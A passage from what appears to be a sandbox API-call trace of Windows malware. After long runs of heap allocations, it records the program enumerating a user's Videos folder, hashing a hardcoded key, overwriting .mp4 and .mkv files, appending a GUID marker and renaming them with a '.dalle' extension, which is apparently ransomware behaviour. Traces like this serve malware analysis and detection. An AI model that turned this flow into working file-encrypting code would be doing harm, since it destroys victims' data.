RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.435] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.435] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.435] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.435] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.435] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.435] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.435] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.435] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.435] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.435] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.435] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.435] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.435] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.435] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.435] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.435] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.435] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.435] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.435] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.435] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.435] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.435] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.435] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.436] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.436] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.436] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.436] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.436] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.436] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.436] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.436] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.436] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.436] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.436] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.436] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.436] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.436] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.436] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.436] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.436] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.436] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.436] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.436] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.436] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.436] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.436] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.436] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.436] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.436] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.436] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.436] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.436] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.436] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.436] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.437] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.437] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.437] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.437] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.437] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.437] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.437] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.437] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.437] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.437] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.437] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.437] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.437] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.437] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.437] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.437] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.437] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.437] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.437] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.437] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.437] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.437] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.437] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.437] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.437] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.437] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.437] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.437] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.437] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.437] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3RmBDGRm1\\") returned="3RmBDGRm1\\" [0121.437] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.437] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde950 [0121.438] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.438] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0121.438] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0121.438] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde950 | out: hHeap=0x5e0000) returned 1 [0121.438] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.438] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0121.438] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0121.438] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.438] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0121.438] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.438] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0121.438] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.438] PathFindFileNameW (pszPath="") returned="" [0121.438] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30186c8 [0121.438] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3RmBDGRm1\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x108d5720, ftCreationTime.dwHighDateTime=0x1d4d508, ftLastAccessTime.dwLowDateTime=0x6ef280c0, ftLastAccessTime.dwHighDateTime=0x1d4d35e, ftLastWriteTime.dwLowDateTime=0x6ef280c0, ftLastWriteTime.dwHighDateTime=0x1d4d35e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.439] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30186c8 | out: hHeap=0x5e0000) returned 1 [0121.439] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x108d5720, ftCreationTime.dwHighDateTime=0x1d4d508, ftLastAccessTime.dwLowDateTime=0x6ef280c0, ftLastAccessTime.dwHighDateTime=0x1d4d35e, ftLastWriteTime.dwLowDateTime=0x6ef280c0, ftLastWriteTime.dwHighDateTime=0x1d4d35e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.439] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b833130, ftCreationTime.dwHighDateTime=0x1d4cd98, ftLastAccessTime.dwLowDateTime=0x2b4e010, ftLastAccessTime.dwHighDateTime=0x1d4ce54, ftLastWriteTime.dwLowDateTime=0x2b4e010, ftLastWriteTime.dwHighDateTime=0x1d4ce54, nFileSizeHigh=0x0, nFileSizeLow=0x10be6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1x2x9-0Xwg-1EWE.mp4", cAlternateFileName="1X2X9-~1.MP4")) returned 1 [0121.439] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.439] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f61740 [0121.439] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.439] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3RmBDGRm1\\1x2x9-0Xwg-1EWE.mp4") returned=".mp4" [0121.439] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3RmBDGRm1\\1x2x9-0Xwg-1EWE.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3rmbdgrm1\\1x2x9-0xwg-1ewe.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.440] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=68582) returned 1 [0121.440] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.442] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x10bc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.442] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.443] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.443] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.443] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.444] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x10be6, lpOverlapped=0x0) returned 1 [0121.444] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.444] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.444] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.444] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.444] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0121.445] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.445] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.445] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.445] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.445] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.445] GetLastError () returned 0x0 [0121.445] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.445] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0121.445] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.446] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x10bf0) returned 0x3096780 [0121.446] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.446] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.446] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x10be1, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x10be1, lpOverlapped=0x0) returned 1 [0121.446] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.446] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x10be6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.446] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.446] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.446] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.446] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.446] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.446] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.447] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.447] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.447] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.447] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.447] CloseHandle (hObject=0x618) returned 1 [0121.448] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f30df8 [0121.448] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8a0) returned 0x3096780 [0121.448] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f30df8 | out: hHeap=0x5e0000) returned 1 [0121.448] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3RmBDGRm1\\1x2x9-0Xwg-1EWE.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3rmbdgrm1\\1x2x9-0xwg-1ewe.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3RmBDGRm1\\1x2x9-0Xwg-1EWE.mp4.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3rmbdgrm1\\1x2x9-0xwg-1ewe.mp4.dalle")) returned 1 [0121.448] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.448] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.449] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0121.449] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a8144f0, ftCreationTime.dwHighDateTime=0x1d4d2b7, ftLastAccessTime.dwLowDateTime=0xda379040, ftLastAccessTime.dwHighDateTime=0x1d4c978, ftLastWriteTime.dwLowDateTime=0xda379040, ftLastWriteTime.dwHighDateTime=0x1d4c978, nFileSizeHigh=0x0, nFileSizeLow=0x18b64, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8i3DCjvaGbZD0.mkv", cAlternateFileName="8I3DCJ~1.MKV")) returned 1 [0121.449] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.449] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f61740 [0121.450] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.450] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3RmBDGRm1\\8i3DCjvaGbZD0.mkv") returned=".mkv" [0121.450] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3RmBDGRm1\\8i3DCjvaGbZD0.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3rmbdgrm1\\8i3dcjvagbzd0.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.450] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=101220) returned 1 [0121.450] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.452] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x18b3e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.452] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.453] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.453] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.453] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.453] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x18b64, lpOverlapped=0x0) returned 1 [0121.454] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.454] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.454] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.454] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.454] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0121.455] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.455] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.455] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.455] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.455] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.455] GetLastError () returned 0x0 [0121.455] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.455] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0121.455] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.455] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x18b60) returned 0x3096780 [0121.456] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.456] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.456] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x18b5f, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x18b5f, lpOverlapped=0x0) returned 1 [0121.456] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.456] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x18b64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.456] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.456] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.457] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.457] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, 